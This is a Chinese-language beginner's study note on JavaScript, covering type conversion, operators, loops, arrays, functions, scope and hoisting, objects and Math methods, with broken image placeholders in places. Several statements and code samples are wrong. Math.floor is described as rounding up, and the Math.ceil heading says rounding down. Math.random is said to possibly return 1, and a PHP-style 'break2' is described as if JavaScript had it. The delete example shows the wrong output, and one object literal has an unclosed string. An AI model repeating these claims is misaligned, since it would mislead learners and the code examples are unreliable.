.toString():不能转无意义的字符,如null、undefined var num = 5; console.log(num.toString());//5 .toString 语法 console.log(*String*(num));//5 String 语法 拼接字符串方式 num + “”,当 + 两边一个操作符是字符串类型,一个操作符是其它类型的时候,会先把其它类型 转换成字符串再进行字符串拼接,返回字符串 转换成布尔类型 Boolean() 以下7种情况值可以转为false ,其他情况都会转成true。 整数0 浮点数0 空字符串 null undefined NaN false 注意与PHP区分:在PHP中字符串 ‘0’ ,空数组也被认为是false 运算符/操作符 算数运算符 + - * / % js支持的更复杂的运算: Math.pow(2, 53 ) // 2的53次幂 Math.round(.6) // 1; 四舍五入 Math.ceil(.6) // 1;向上求整 Math.floor(.6) // 0;向下求整 Math.abs(-5) // 5; 求绝对值 Math.max(x, y, z) // 返回最大值 Math.min(x, y, z) // 返回最小值 Math.random() // 生成一个大于等于0小于等于1的伪随机数? Math.PI // π:圆周率 Math.E // e:自然对数的底数 Math.sqrt(3) // 3的平方根 Math.pow(3 , 1/3) //3的立方根 Math.sin(0) // 三角函数,还有Math.cos()、Math.atan()等 Math.log(10) // 10的自然对数 Math.log(100)/Math.LN10 // 以10为底100的对数。 Math.log(512)/Math.LN2 // 以2为底512的对数 Math.exp(3) // e的三次幂 比较运算符/关系运算符 返回值为布尔值。 < > >= <= == != === !== //==与===的区别:==只进行值得比较,===类型和值同时相等,则相等 var result = '55' == 55; // true var result = '55' === 55; // false 值相等,类型不相等 var result = 55 === 55; // true 赋值运算符 又叫复合运算符。 = += -= *= /= %= var num = 0; num += 5; //相当于 num = num + 5; 逻辑运算符 返回值为布尔值。 && 逻辑与 两个操作数同时为true,结果为true,否则都是false || 逻辑或 两个操作数有一个为true,结果为true,否则为false ! 逻辑非 取反 从右向左执行 一元运算符 一元运算符:只有一个操作数的运算符。 ++ -- 主要是对其他操作数的影响不同,对其自身影响永远都是加一或减一 前置++ 先自增,再赋值 var num1 = 5; ++ num1; var num2 = 6; console.log(num1 + ++ num2);//13 后置++ 先赋值,再自增 var num1 = 5; num1 ++; var num2 = 6; console.log(num1 + num2 ++);//6+6=12 三元运算符 表达式1 ? 表达式2 : 表达式3 用法同 if 的双向条件语句,以下if条件语句: var age = 18; ​ if (age < 18) { ​ document.write('未成年'); ​ } else { ​ document.write('成年'); ​ } 可以写成: var age = 18; var res = age>= 18 ? '成年' : '未成年'; document.write(res); 运算符优先级 优先级从高到低 (1)括号 () 优先级最高; (2)一元运算符 ++ – ! (3)算数运算符 ,同数学运算。 先乘除求模(* / %),再加减(+ -); (4)关系运算符 > >= < <= (5)相等运算符 == != = == !== (6)逻辑运算符 先 && 后 || (7)赋值运算符 // 练习1: 4 >= 6 || '人' != '猫' && !(12 * 2 == 144) && true // true // 练习2: var num = 10; 5 == num / 2 && (2 + 2 * num).toString() === '22'//true 流程控制 流程控制的三种基本结构 顺序结构:从上到下,从左到右,从右向左 分支结构:单分支,双分支,多分支 循环结构:for循环,while循环,do…while循环 顺序结构 程序默认就是由上到下顺序执行的 。 分支结构 if语句 语法结构: //单分支结构 if (/* 条件表达式 */) { // 执行语句 } //双分支结构 与三元运算符等价 1 ?2 : 3; if (/* 条件表达式 */){ // 成立执行语句 } else { // 否则执行语句 } //多分支结构 if (/* 条件1 */){ // 成立执行语句 } else if (/* 条件2 */){ // 成立执行语句 } else if (/* 条件3 */){ // 成立执行语句 } else { // 后默认执行语句 } 注意: 条件必须放在if后的圆括号内; 小括号中的条件语句结果只能为布尔值,即true / false; 花括号内的语句必须在满足条件时执行。 最多只有一个区间被执行。 如果if语句中的花括号部分只包含一条语句,那么可以省略花括号,而且这条语句的全部内容可以写在一行。 switch语句 语法结构:严格模式 switch (expression) { case 常量1: 语句; break; case 常量2: 语句; break; case 常量3: 语句; break; … case 常量n: 语句; break; default: 语句; break; } 注意: break可以省略,如果省略,代码会继续执行下一个case switch 语句; 在比较值时使用的是全等操作符, 因此不会发生类型转换(例如,字符串’10’ 不等于数值 10); 声明的变量类型必须与case后的值的类型相同,否则不会执行。 全等操作,类型转换案例: //使用switch语句将输入的1—12值转换成对应的“本月有多少天” //prompt 为弹框,可以传递数据值 //prompt的结果为字符串类型,用switch时需要将其转为数值类型 var day = parseInt(prompt('请输入一个月份')); switch (day) { case 1: case 3: case 5: case 7: case 8: case 10: case 12: document.write('这个月有31天'); break; case 2: document.write('这个月有28天'); break; case 4: case 6: case 9: case 11: document.write('这个月有30天'); break; } 当输出的值相同时,可以将多个case条件合并,结构如下: var xq = 7; switch (xq) { case 1: case 2: case 3: case 4: case 5: console.log('上班'); break; case 6: case 7: console.log('加班'); break; } 循环结构 工作原理:只要给定条件能得到满足,包含在循环语句里的代码就将重复地执行下去,一旦条件结果为false,循环即结束。 在javascript中,循环语句有三种,while、do…while、for循环 循环可以嵌套执行,最多三层嵌套,过多不利于理解。嵌套结构又称巢状结构 while循环 语法结构: // 当循环条件为true时,执行循环体, // 当循环条件为false时,结束循环。 初始值; while (循环条件) { //循环体 //改变循环条件 } 案例: // 计算1-100之间所有数的和 // 初始化变量 var i = 1; var sum = 0; // 判断条件 while (i <= 100) { // 循环体 sum += i; // 自增 i++; } console.log(sum); do…while循环 do…while循环和while循环非常像,二者经常可以相互替代,但是do…while的特点是不管条件成 不成立,都会执行一次。 语法结构: do { ​ // 循环体; } while (循环条件); 案例: //输出1到100值间的值 var i = 1,sum = 0; do { sum += i; //循环体 i++;//自增 } while (i <= 100);//循环条件 for循环 while和do…while一般用来解决无法确认次数的循环。 for循环 计数型循环 又称指定次数循环,for循环一般在循环次数确定的时候比较方便 语法结构: // for循环的表达式之间用的是;号分隔的 for (初始化表达式1; 判断表达式2; 自增表达式3) { // 循环体4 } 执行顺序:1243 ---- 243 -----243(直到循环条件变成false) 初始化表达式 判断表达式 自增表达式 循环体 案例: //输出1到10值间的数 for (var i = 1; i <= 10; i++) { document.write(i + ' '); } for循环的三个条件都可以提出来,通过if条件实现,注意需要有break跳出循环,否则会形成死循环。 for结构变形案例: var i = 1; for (;;) { if (i <= 10) { document.write(i + ' '); i++; } else { break; } } 练习: //打印正方形 var start = ''; for (var i = 0; i < 10; i++) { for (var j = 0; j < 10; j++) { start += '* '; } start += '\n'; } console.log(start); //打印直角三角形 var start = ''; for (var i = 0; i < 10; i++) { for (var j = i; j < 10; j++) { start += '* '; } start += '\n'; } console.log(start); //打印9*9乘法表 var str = ''; for (var i = 1; i <= 9; i++) { for (var j = i; j <=9; j++) { str += i + ' * ' + j + ' = ' + i * j + '\t'; } str += '\n'; } console.log(str); continue和break continue:跳出当前循环,继续下一次循环(跳到 j++ 的地方) break:跳出整个循环,即循环结束。开始执行循环后的内容。break2,退出2层循环。默认是break1,(只是 1 省略不写)即跳出1层循环。 练习: //输出 1 到 10 以内不包含 3 和 5 的数 for (var i = 1; i <= 10; i++) { ​ if (i == 3 || i == 5) { ​ //continue; ​ break; ​ } else { ​ document.write(i + ' '); ​ } ​} //求整数1~100的累加值,但要求碰到个位为3的数则停止累加 for (var i = 1,sum = 0; i <= 100; i++) { ​ if (i % 10 == 3) { ​ break; ​ } else { ​ sum += i; ​ } ​} ​document.write('1~100内碰到个位为3的数则停止累加值的和为:'+sum); //求整数1~100的累加值,但要求跳过所有个位为3的数 //sum 必须初始化为0,否则结果为未定义与数值相加,结果为NaN for (var i = 1,sum = 0; i <= 100; i++) { ​ if (i % 10 == 3) { ​ continue; ​ } else { ​ sum += i; ​ } ​} ​document.write('1~100内跳过个位为3的值的和为:'+ sum); 数组 数组的定义 之前学习的数据类型,只能存储一个值(比如:Number/String。我们想存储班级所有学生的成绩,此时 该如何存储? 此时就需要用到数组了。 定义 数组是值的有序集合,每个值叫做一个元素,而每个元素在数组中有一个位置,以数字表示,称为索引。 可以在数组中存放任意数据,并且数据的长度可以动态调整,根据需要它们会增长或缩减,创建数组时不需声明固定大小。 注意:数组元素的索引不一定要连续的,它们之间可以有空缺; 数组的数据类型为对象; 每个数组都有一个length属性。 语法结构: 通过构造函数创建数组: 有三种方式调用构造函数 a:调用时没有参数 该方法创建一个没有任何元素的空数组,等同于数组直接量[ ]。 var 数组名 = new Array(); b:调用时有一个数值参数,它指定长度。 var a = new Array(10);//创建指定长度为10的数组,每个数据是undefined 该方式创建指定长度的数组。当预先知道所需元素个数时,这种方式可以用来预分配一个数组空间。 注意:数组中没有存储值,甚至数组的索引属性‘0’,‘1’等还未定义。 c:显示指定多个数组元素,元素可为任意类型。 //多个值 这些值就代表数组中的元素 var arr3=new Array(10,20,1000,40,50,'test'); 通过数组字面量(直接量)创建数组 // 创建一个空数组 var arr1 = []; // 创建一个包含3个数值的数组,多个数组项以逗号隔开 var arr2 = [1, 3, 4]; // 创建一个包含3个不同类型的元素的数组 var arr3 = ['a', 1.1, true]; // 可以通过数组的length属性获取数组的长度 console.log(arr3.length); // 可以设置length属性改变数组中元素的个数 arr3.length = 0; 如果省略数组直接量中的某个值,省略的元素将被赋予undefined值。 var count = [1, ' ' , 3];//数组有三个值,中间那个元素的值为undefined。 数组直接量的语法允许有可选的结尾的逗号,故[, ,]只有两个元素而非三个元素。 var count = [ , , ];//数组有两个元素,值都为undefined。 注意与 PHP 的区分: php中有三种构建方法,除上述两种外还有一种 $var[] = ‘值’; 检测一个对象是数组 instanceOf Array.isArray() HTML5中提供的方法,有兼容性问题 var arr1 = [1,3,4]; console.log(arr1 instanceof Array);//true console.log(Array.isArray(arr1));//true toString()/valueOf() toString():把数组转换成字符串,并返回结果 语法: arrayObject.toString() 返回值 arrayObject 的字符串表示。返回值与没有参数的 join() 方法返回的字符串相同。 描述 数组中元素用逗号分隔。 var arr1 = [1,3,4]; console.log(arr1.toString());// '1,3,4' valueOf():返回数组对象本身 语法: arrayObject.valueOf() 描述 valueOf() 方法返回 Array 对象的原始值。 该原始值由 Array 对象派生的所有对象继承。 valueOf() 方法通常由 JavaScript 在后台自动调用,并不显式地出现在代码中。 var arr1 = [1,3,4]; console.log(arr1.valueOf());//(3) [1, 3, 4] 获取数组元素 (1)数组的取值 取值时,如果下标大于数组长度,则返回undefined。 // 格式:数组名[下标] 下标又称索引 // 功能:获取数组对应下标的那个值,如果下标不存在,则返回undefined。 var arr = ['red', 'green', 'blue']; arr[0]; // red arr[2]; // blue arr[3]; // 这个数组的最大下标为2,3>2,因此返回undefined (2)遍历数组 遍历:遍及所有,对数组的每一个元素都访问一次就叫遍历。 数组遍历的基本语法: 语法结构: for(var i = 0; i < arr.length; i++) { // 数组遍历的固定结构 } 数组中新增元素 数组的赋值: // 格式:数组名[下标/索引] = 值; // 如果下标有对应的值,会把原来的值覆盖,如果下标不存在,会给数组新增一个元素。 var arr = ["red", "green", "blue"]; arr[0] = "yellow"; // 把red替换成了yellow arr[3] = "pink";// 给数组新增加了一个pink的值 数组的赋值,必须有下标才能赋值,否则会报语法错误。如果是给没有下标的空数组赋值,可以用arr.length来表示下标。 //要求将数组中的0项去掉,将不为0的值存入一个新的数组,生成新的数组 var arr3 = [2,4,0,49,30,22,0,3]; var arr4 = []; for (var i = 0; i < arr3.length; i++) { //如果元素不为0 则存入到新数组中 if (arr3[i] != 0){ //数组赋值arr[] = 值;会报语法错误,因此赋值时不能省略下标的值。 //对于没有下标的数组,js中通常用arr.length来代表下标 arr4[arr4.length] = arr3[i]; } } console.log(arr4); console.log(typeof arr4);//object 删除数组元素 可以像删除对象属性一样使用delete运算符来删除数组元素: var arr = [1,2,3]; delete arr[1]; console.log(arr);//[1,3] console.log(arr.length);//3 delete不会改变数组长度 console.log(1 in arr);//false 1指的是索引 注意:对一个数组元素使用delete不会修改数组的length属性,也不会将元素从高索引处移下来填充已删除属性留下的空白。如果从数组中删除一个元素,它就变成稀疏数组。 冒泡算法 相邻两数比较,顶出最大的那个。 例如 :var arr = [50, 40, 30 ,20, 10]; [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Enl2dq8w-1574402375858)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\1570679410730.png)] var arr = [10, 30, 40, 60, 50, 20]; //i 为比较的轮数 最大值为 length-1 j 为比较的次数 最大值为 length-1-i for (var i=0; i < arr.length-1; i++) { for (var j=0; j < arr.length-1-i; j++) { if (arr[j] > arr[j+1]) { arr[j] = [arr[j+1], arr[j+1]=arr[j]][0]; } } } console.log(arr); 数组中常用函数 数组函数 解释说明 参数 返回值 栈操作 array.pop() 删除并返回数组的最后一个元素。改变数组长度 数组名 删除的元素 array.push() 向数组的末尾添加一个或多个元素,并返回新的长度。 要添加到数组的元素 返回新数组长度 array.shift() 把数组的第一个元素从其中删除,并返回第一个元素的值。 删除的元素 array.unshift() 向数组的开头添加一个或更多元素,并返回新的长度。 要添加到数组的元素 返回新数组长度 操作方法 array.concat() 连接两个或多个数组。不改变原数组 要连接的数组 返回被连接数组的副本 array.join() 数组中的所有元素按指定字符拼接成一个字符串。toString()与join同 可选,要指定的分隔符 返回新字符串 array.slice() 从已有的数组中返回选定的元素。不修改原数组 选取数组元素的起始位置,负数代表从后向前选,不包括end元素 返回选定的新数组 array.splice() 用于插入、删除或替换数组的元素。会修改数组 开始位置,删除长度[,要添加的元素] 返回新数组 颠倒数组元素 array.reverse() 颠倒数组元素的顺序。会改变原数组 返回新数组 排序方法 array.sort() 用于对数组的元素进行排序 [规定排序方式的函数] 返回新数组 位置方法 array.indexOf() 返回某个指定的字符串值在字符串中首次出现的位置。可用来判断数组中是否包含某个值,与in_array类似 规定需检索的字符串值[检索的位置] 返回下标数,没有返回 -1 array**.lastIndexOf()** 返回一个指定的字符串值最后出现的位置,在一个字符串中的指定位置从后向前搜索。 规定需检索的字符串值[检索的位置] 返回下标 迭代方法 some() 对数组中每一项运行给定函数, 回调函数 如果该函数对任一项返回true,则返回true。 every() 检测数组中的元素是否全部符合指定条件 回调函数 全部符合返回true 有一个不符合则返回false filter() 检测数组元素是否符合条件,并返回符合条件的元素的数组 回调函数 符合条件的元素的数组 forEach() 循环遍历数组 回调函数 map() 通过回调函数把每个元素的结果 保存到一个新数组中 进行返回 回调函数 返回执行回调函数的结果 清空数组 // 方式1 推荐 arr = []; // 方式2 arr.length = 0; // 方式3 arr.splice(0, arr.length); 练习 //求数组中的所有数的和 var arr = [10, 30, 40, 60, 50, 20]; for (var i=0,len=arr.length,sum=0; i<len; i++) { sum += arr[i]; } console.log(sum); //求数组中所有数的平均值 var len=arr.length;//为提高代码性能,避免每次循环都计算length,可以将length值赋给一个变量 for (var i=0,sum=0; i<len; i++) { sum += arr[i]; } var avg=sum/len; console.log(avg); //把数组中每个元素用|拼接到一起产生一个字符串并输出 var arr1 = [1,3,5,'aa']; //遍历出数组中的值并将值赋给一个空字符串,为避免字符串结果覆盖可以用 += 拼接结果 for (var i = 0,str = ''; i < arr1.length-1; i++) { str += arr1[i] + '|'; } //以上拼接结果会在字符串最后多出一个 | ,去掉最后的 | 可以在遍历时不遍历最后一个,而在打印结果时手动添加 console.log(str + arr1[arr1.length-1]); //要删除数组中元素为0的删除 var arr2 = [3,5,6,0,9,4,0,10,0]; //定义一个新数组 空的 var arr3 = []; for (var i = 0; i < arr2.length; i++) { //如果元素不为0 则存入到新数组中 if (arr2[i] != 0){ arr3[arr3.length] = arr2[i]; } } console.log(arr3); 函数 函数的定义 把一段相对独立的具有特定功能的代码块封装起来,形成一个独立实体,就是函数,起个名字(函数 名),在后续开发中可以反复调用。 函数的作用就是封装一段代码,可以重复使用 。 语法结构: (1)声明函数 function 函数名(){ // 函数体 } (2)函数表达式 var fn = function() { // 函数体 } 特点: 函数声明的时候,函数体并不会执行,只有函数被调用的时候才会执行。 注意: 因为在js中回车换行可以表示语句的结束,所以书写时不要将函数的花括号换行到下一行,这点要与 php 相区分 规范 命名规范 遵循变量的命名规范 使用小驼峰命名法 命名一般采用 ‘‘动词+名字’’ 的形式,如 doSpeak 代码规范 1.命名规范 2.变量规范 var name = 'zs'; 3.注释规范 // 这里是注释 4.空格规范 5.换行规范 var arr = [1, 2, 3, 4]; if (a > b) { } for(var i = 0; i < 10; i++) { } function fn() { } 函数的调用 调用函数的语法结构: 函数名(); 特点: 函数体只有在调用的时候才会执行,调用需要 函数名() 进行调用。 可以调用多次(重复使用) 案例: // 声明函数 function sayHello() { console.log("你好啊!"); } // 调用函数 sayHello(); // 求1-100的和 function getSum() { var sum = 0; for (var i = 1; i <= 100; i++) { sum += i; } console.log(sum); } // 调用 getSum(); 函数的参数 语法结构: // 函数内部是一个封闭的环境,可以通过参数的方式,把外部的值传递给函数内部 // 带参数的函数声明 function 函数名(形参1, 形参2, 形参...){ // 函数体 } // 带参数的函数调用 函数名(实参1, 实参2, 实参3); 形参与实参: 形参:在声明函数的时候,为了函数的功能更加灵活,有些值是固定不了的,对于这些固定不了的值,我们可以设置形参。这些参数没有具体的值,仅仅起到一个占位置的作用,我们通常称之为形式参数,也叫形参。 实参:如果函数在声明时,设置了形参,那么在函数调用的时候就要传入对应的参数,我们把传入的参数叫实际参数,也叫实参。 var x = 5, y = 6; fn(x,y); function fn(a, b) { console.log(a + b); } //x,y实参,有具体的值。函数执行的时候会把x,y复制一份给函数内部的a和b,函数内部的值是复制的新值,无法修改外部的x,y 函数的返回值 当函数执行完的时候,并不是所有时候都要把结果打印。我们期望函数给我一些反馈(比如计算的结果 返回进行后续的运算),这个时候可以让函数返回一些东西。也就是返回值。函数通过return返回一个 返回值 返回值语法: //声明一个带返回值的函数 function 函数名(形参1, 形参2, 形参...){ //函数体 return 返回值; } //可以通过变量来接收这个返回值 var 变量 = 函数名(实参1, 实参2, 实参3); 函数的调用结果就是返回值,因此我们可以直接对函数调用结果进行操作。 返回值详解: 如果函数没有显示的使用 return语句 ,那么函数有默认的返回值:undefined 如果函数使用 return语句,那么跟再return后面的值,就成了函数的返回值 如果函数使用 return语句,但是return后面没有任何值,那么函数的返回值也是:undefined 函数使用return语句后,这个函数会在执行完 return 语句之后停止并立即退出,也就是说return后 面的所有其他代码都不会再执行。 推荐的做法是要么让函数始终都返回一个值,要么永远都不要返回值 arguments的使用 JavaScript中,arguments对象是比较特别的一个对象,实际上是当前函数的一个内置属性。也就是说 所有函数都内置了一个arguments对象,arguments对象中存储了传递的所有的实参。 arguments 可以获取所有实参 arguments.length 获取实参的个数 arguments[i] 获取实参的值 //求任意数的和 function sum2(){ //可以获取所有实参 arguments.length 获取实参的个数 var sum = 0; for (var i = 0; i < arguments.length; i++) { sum += arguments[i]; } return sum; } console.log(sum2(2,35,6,8)); 匿名函数 匿名函数:没有名字的函数 匿名函数如何使用: 将匿名函数赋值给一个变量,这样就可以通过变量进行调用 //定义匿名函数 var f1 = function(){ return 'aaaaa'; }; console.log(f1()); 匿名函数自调用 //自调用函数 一次性,注意函数本身需加小括号才可以执行 js开发过程多用这种方式,命名函数在条件语句中有兼容问题 (function(){ console.log('aaaaaa'); })(); 关于自执行函数(匿名函数自调用)的作用:防止全局变量污染 //函数重名会覆盖上一函数,所以两次输出的结果相同 function a(){ console.log('你真好看'); } a(); function a(){ console.log('我真好看'); } a(); //匿名函数用var是声明变量,第二次不用var是给变量赋值,所以两次输出结果不一样 var b = function(){ console.log('你真好看'); }; b(); b = function(){ console.log('我真好看'); }; b(); 函数是一种数据类型 函数可以作为参数 可以把函数当做另一个函数的参数,在另一个函数中调用。此时作为参数的函数叫做回调函数(callback) //函数作为参数 function fn (fname) { fname();//a() } //命名函数作为参数 function a () { console.log('cccc'); } fn(a); //匿名函数作为参数 fn(function () { console.log('匿名函数'); }) var f = function () { console.log('将匿名函数赋值给变量f'); } fn(f);//先声明变量再调用,否则会报错。变量是先声明再赋值,而函数可以在任意位置调用,当fn(f)在声明f之前使用时,会出现函数名不能是函数的错误 函数可以作为返回值 可以把函数作为返回值从函数内部返回。调用时需要在后边加() //函数作为返回值 function freturn () { console.log('aaaa'); //return 将数据返回调用处,此时返回的是函数 return function () { console.log('bbbb'); } } //调用函数,因为返回值是一个函数,要想得到函数的值需要在后边再加括号 freturn()(); 回调函数的应用 //回调函数 callback /* 功能:计算两个数值 参数:第一个值,第二个值, fn 函数,第一个值与第二个值作为 fn 函数的参数 返回值:返回计算结果 */ function f1(a, b, fn) { return fn(a, b); } console.log(f1(1, 2, sum)); function sum (a, b) { return a + b; } 作用域 作用域:函数可以起作用的范围。 (1)全局变量和局部变量 局部作用域:函数体内 全局作用域:整个脚本,即函数内外都起作用 全局变量:在函数体外部由 var 定义的,在任何地方都可以访问的变量 局部变量:在函数体内用 var 定义的,只在函数内使用变量 隐式全局变量:不用 var 定义的变量,函数体内外都可以定义。在任何地方都可以访问 注意: 不使用var声明的变量是全局变量,不推荐使用。=变量退出作用域后会被销毁,全局变量关闭网页或浏览器才会销毁。 隐式全局变量与全局变量的区别: 隐式全局变量可以删除,而全局变量不可以删除,只有关闭浏览器或页面时才会销毁。 //全局变量: 在函数体外,由关键字var声明的变量 //全局作用域:整个脚本,即函数内外都起作用 var a = 'aaa'; function aa () { console.log(a);//函数体内调用变量 a } aa(); console.log(a); //函数体外调用变量 a //局部变量:在函数体内,由 var 声明的变量 //局部作用域:只在函数体内起作用 function bb () { var b = 'bbbb'; console.log(b);//函数体内调用 输出 bbbb } bb(); //console.log(b);//报错 在函数体外调用会,指出变量不存在 //隐式全局变量 声明变量,但是没有 var 。作用域函数内外都可 //隐式全局变量与全局变量的区别,隐式全局变量可以删除,而全局变量不能删除,只有在关闭网页或浏览器时才会销毁 c = 'cccc'; console.log(c); //函数体外调用 返回 cccc function cc () { console.log(c); //函数体内调用 返回 cccc } cc(); delete c;//删除隐式全局变量 //console.log(c);//报错,说变量不存在。说明删除成功 delete a; console.log(a+'删除全局变量失败');//aaa删除全局变量失败 正常输出a的值,说明没有删除变量 (2)块级作用域 任意一个花括号内的语句集都属于一个块,其中定义的所有变量在代码块外都是不可见的,我们称之为块级作用域。==在ES5之前没有块级作用域的概念,只有函数作用域。==ES6中才有块级作用域 (3)词法作用域 变量的作用域是在定义时决定而不是执行时决定,也就是说词法作用域取决于源码,通过静态分析就能 确定,因此词法作用域也叫做静态作用域 在js中词法作用域规则: 函数允许访问函数外的数据. 整个代码结构中只有函数可以限定作用域. 作用域规则首先使用提升规则分析 如果当前作用规则中有名字了, 就不考虑外面的名字。即当局部变量与全局变量同名时,采用局部变量 var num = 123; //全局变量 function foo() { console.log( num ); } foo(); // 123 if ( false ) { //条件是假区间,永远走不进区间里,不会声明变量 num var num = 123; } console.log( num ); // undefiend (4)作用域链 只有函数可以制造作用域结构, 那么只要是代码,就至少有一个作用域, 即全局作用域。凡是代码中有函 数,那么这个函数就构成另一个作用域。如果函数中还有函数,那么在这个作用域中就又可以诞生一个作用 域。 将这样的所有的作用域列出来,可以有一个结构: 函数内指向函数外的链式结构。就称作作用域链。 function f1() { var num = 123; //局部变量,就近原则 function f2() { console.log( num ); } f2(); //返回 num = 123 } var num = 456; //全局变量 f1();//函数值返回调用处,所以不会走到重新声明 num 的语句 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-x8lXAGpL-1574402375863)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\1570718544910.png)] 预解析**** JavaScript代码的执行是由浏览器中的JavaScript解析器来执行的。JavaScript解析器执行JavaScript代码 的时候,分为两个过程:预解析过程和代码执行过程 预解析过程(提升规则): 把变量的声明提升到当前作用域的前面,只会提升声明,不会提升赋值。 把函数的声明提升到当前作用域的前面,只会提升声明,不会提升调用。 先提升var,再提升function 执行过程 b(); var a = 1; function b () { console.log(a); } //预解析过程 /* var a; function b () { console.log(a); } b(); a = 1; */ f1(); console.log(c); console.log(b); console.log(a); function f1() { var a = b = c = 9; console.log(a); console.log(b); console.log(c); } //预解析过程 以下代码为上述代码解析后的样式,执行将按这个顺序 /*function f1() { var a; a = 9;//局部变量 b = 9;//隐式全局变量 c = 9;//隐式全局变量 console.log(a); //9 console.log(b); //9 console.log(c); //9 } f1(); console.log(c); //9 console.log(b); //9 console.log(a); //报错 */ var a = 25; function abc (){ alert(a);//undefined var a = 10; } abc(); //预解析过程 /* var a; function abc (){ var a; alert(a);//undefined a = 10; } a = 25; abc(); */ // 如果变量和函数同名的话,函数优先 console.log(a); function a() { console.log('aaaaa'); } var a = 1; console.log(a); //预解析过程 /* var a; function a() { console.log('aaaaa'); } console.log(a); //返回值为函数本身 a = 1; console.log(a); //1 */ 练习 //返回两个数中的最大值 function max(a,b){ if(a > b){ document.write("最大值为" + a); }else{ document.write("最大值为" + b); } } max(10, 20); 对象 什么是对象 现实生活中:万物皆对象,对象是一个具体的事物,一个具体的事物就会有行为和特征。 举例: 一部车,一个手机 车是一类事物,门口停的那辆车才是对象 特征:红色、四个轮子 行为:驾驶、刹车 **JavaScript中的对象是无序属性的集合。**可以把js对象想象成键值对,其中值可以是数据和函数。 对象的行为和特征 特征:属性 行为:方法 内建对象:Array, Math, Date等 宿主对象:由浏览器提供的预定义对象。如image、form、Element等。 创建对象 语法结构: (1)对象字面量 语法结构: var 对象名 = {} 案例: var obj = {}; obj.name = '章'; obj.age = 18; obj.sex = '女'; obj.say = function () { console.log('说话'); } console.log(obj); //优化写法 var o = { name: 'zs, age: 18, sex: true, sayHi: function () { console.log(this.name); } }; (2)构造函数方式创建 a:系统内置构造函数 new Object() var person = new Object(); person.name = 'lisi'; person.age = 35; person.job = 'actor'; person.sayHi = function(){ console.log('Hello,everyBody'); } b:工厂函数创建对象 function createPerson(name, age, job) { var person = new Object(); person.name = name; person.age = age; person.job = job; person.sayHi = function(){ console.log('Hello,everyBody'); } return person; } var p1 = createPerson('张三', 22, 'actor'); (3)自定义构造函数 构造函数 构造函数是一种特殊的函数,主要用来在创建对象时初始化对象,即为对象的成员属性赋初值。 注意事项: (1)构造函数用于创建一类对象,首字母要大写; (2)构造函数要和new一起用才有意义。 new在执行时会做四件事: (1)在内存中创建一个空的对象; (2)让this指向这个新对象; (3)执行构造函数,目的是给这个对象添加属性和方法; (4)返回这个新对象。 function Person(name,age,job){ this.name = name; this.age = age; this.job = job; this.sayHi = function(){ console.log('Hello,everyBody'); } } var p1 = new Person('张三', 22, 'actor'); this详解 JavaScript中的this指向问题,有时候会让人难以捉摸,随着学习的深入,我们可以逐渐了解。现在我们需要掌握函数内部的this几个特点 函数在定义的时候this是不确定的,只有在调用的时候才可以确定 一般函数直接执行,内部this指向全局window 函数作为一个对象的方法,被该对象所调用,那么this指向的是该对象 构造函数中的this其实是一个隐式对象,类似一个初始化的模型,所有方法和属性都挂载到了这个 隐式对象身上,后续通过new关键字来调用,从而实现实例化 对象的属性与方法 属性:对象的特征 变量 方法:对象的行为 函数 可以使用下面两种方式访问对象的属性和方法 1.对象名.属性名 对象名.方法名() 2.对象名[“属性名”] 对象名 [‘方法名’] () 两者的区别: 对于已经存在的属性和方法,用.和用[]得到的结果一致、 对于不存在(未定义)的属性和方法,用.会创建这个新的属性或方法,而用[]的方式访问不会创建新的属性或方法 var obj = new Object(); //console.log(typeof obj); //给对象添加属性 对象.属性名 = 值 obj.name = 'hanxu'; obj.age = 10; obj.sex = 'll'; obj.hair = false; obj.eye = 'three';//给对象添加方法 函数 对象.函数名 = 函数 obj.sleep = function(){ console.log('天天睡觉,回家放羊吧!!!'); } obj.eat = function () { console.log('做梦吃烤全羊'); } //获取对象属性 console.log(obj.name); console.log(obj.age); obj.eat(); //两种访问 方式的区别 var obj = { name : "小明", age : 18, say : function(){ console.log("我是"+this.name+"我"+this.age+"岁"); } }; //对比 . 与 [] 的区别 for(var x in obj){ console.log(x); //输出obj中的属性名,方法名 console.log(obj.x);//想要用.的方法输出对应的属性和方法 结果是undefined,原因在于JS语言中.方法可以用来声明,声明对象属性的方式就是属性名.属性值 } for (var key in obj) { console.log(key);//输出obj中的属性名,方法名 console.log(obj[key]);//输出对应的属性值和方法,方法未调用所以输出的是方法的代码 } 遍历对象的属性 通过for…in语法可以遍历一个对象 For…In 声明用于遍历数组或者对象的属性(对数组或者对象的属性进行循环操作)。 for … in 循环中的代码每执行一次,就会对数组的元素或者对象的属性进行一次操作。 语法结构: for (变量 in 对象) { 在此执行代码 } 变量”用来指定变量,指定的变量可以是数组元素,也可以是对象的属性。 var obj = {}; for (var i = 0; i < 10; i++) { obj[i] = i * 2; } for(var key in obj) { console.log(key + "==" + obj[key]); } 删除对象的属性 语法结构: delete 对象.属性名 function fun() { this.name = 'mm'; } var obj = new fun(); console.log(obj.name); // mm delete obj.name; console.log(obj.name); // undefined 内置函数 Math Math对象不是构造函数,它具有数学常数和函数的属性和方法,都是以静态成员的方式提供 。 使用的时候不需要new (1)Math.PI – 算数常量 π 语法结构: Math.Pi console.log(Math.PI);//3.141592653589793 表示的是常量 π 或 pi,即圆的周长和它的直径之比,这个值近似为3.14159265358979。 因为是常量,所以后边没有小括号 (2)Math.random – 生成随机数 语法结构: Math.random() console.log(Math.random()); 返回值 返回一个0.0 和 1.0之间的一个伪随机数。 获取n-m之间的随机数 function rand(n, m) { return Math.round(Math.random()*(n-m)+m); } (3)Math.ceil – 向下取整 语法结构: Math.ceil(x) //向下取整/进一法取整 解释说明 Math.ceil() 执行的是向上取整计算,它返回的是大于等于函数参数,并且与之最接近的整数。需要注意的是, Math.ceil()不会将负数舍人为更小的负数,而是向0舍入。 参数 x 任意的数值或表达式。 返回值 大于等于x,并且与它最接近的整数。 示例: `a = Math.ceil(1.99); // 结果是 2.0 b = Math.ceil(1.01); // 结果是 2.0 c = Math.ceil(1.0); // 结果是 1.0 d = Math.ceil(-1.99); // 结果是 -1.0 ` (4)Math.floor – 向上取整 语法结构: `Math.floor(*x*)` 描述 Math.floor()执行的是向上取整计算,它返回的是小于等于函数参数,并且与之最接近的整数。 